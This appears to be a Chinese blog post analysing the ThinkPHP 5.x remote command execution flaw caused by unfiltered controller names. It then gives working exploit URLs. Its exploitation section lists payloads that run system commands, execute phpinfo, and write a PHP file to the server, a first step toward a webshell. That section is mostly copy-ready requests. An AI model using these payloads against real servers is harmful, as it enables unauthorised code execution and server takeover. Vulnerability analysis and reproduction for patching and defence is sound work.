ThinkPHP远程命令执行漏洞利用(GetShell)

袁志蒙 次浏览

摘要:最近ThinkPHP致命漏洞(GetShell)好像传遍了各大社区,今日我也来研究一下漏洞的形成原因,并且复现一次,漏洞分析:由于框架对控制器名没有进行足够的检测会导致在没有开启强制路...

最近ThinkPHP致命漏洞(GetShell)好像传遍了各大社区,今日我也来研究一下漏洞的形成原因,并且复现一次

漏洞分析:

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞受影响的版本(v5.0.23及v5.1.31以下版本),推荐尽快更新到最新版本。

文件:thinkphp/library/think/App.php

// 获取控制器名
$controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入“\”符号来调用任意类方法。

漏洞原理:

先来讲下,5.0 跟5.1的区别吧,tp5.1中引入了容器(Container)和门面(Facade)这两个新的类  tp5.0是没有这两个新的类的。

我们先来看看App类里的 exec函数里的执行分层控制器的操作:

case 'controller': // 执行控制器操作
	$vars = array_merge(Request::instance()->param(), $dispatch['var']);
	$data = Loader::action(
		$dispatch['controller'],
		$vars,
		$config['url_controller_layer'],
		$config['controller_suffix']
	);
	break;

我们这里是把controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了

public static function invokeFunction($function, $vars = [])
{
	$reflect = new \ReflectionFunction($function);
	$args    = self::bindParams($reflect, $vars);

	// 记录执行信息
	self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

	return $reflect->invokeArgs($args);
}

因为think\App是第二个入口,在tp运行的时候就会被加载 所以用think\App里面的分层控制器的执行操作的时候,需要去调用invokeFunction这个函数。

这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function传入baidu然后$vars传入[111,222]就相当于调用 baidu(111,222)

漏洞利用:

1.执行系统命令显示目录下文件:

Linux:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
WIN:
http://www.mysite.com/index.php?s=/index/\think\request/cache&key=ls%20-l|system

ThinkPHP远程命令执行漏洞利用(GetShell)

2.执行phpinfo

Linux:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
WIN:
http://www.mysite.com/index.php?s=/index/\think\request/cache&key=1|phpinfo

ThinkPHP远程命令执行漏洞利用(GetShell)

3.写入info.php文件

方法1:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php

方法2:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E

访问 info.php

ThinkPHP远程命令执行漏洞利用(GetShell)

随机新闻

表情

共1条评论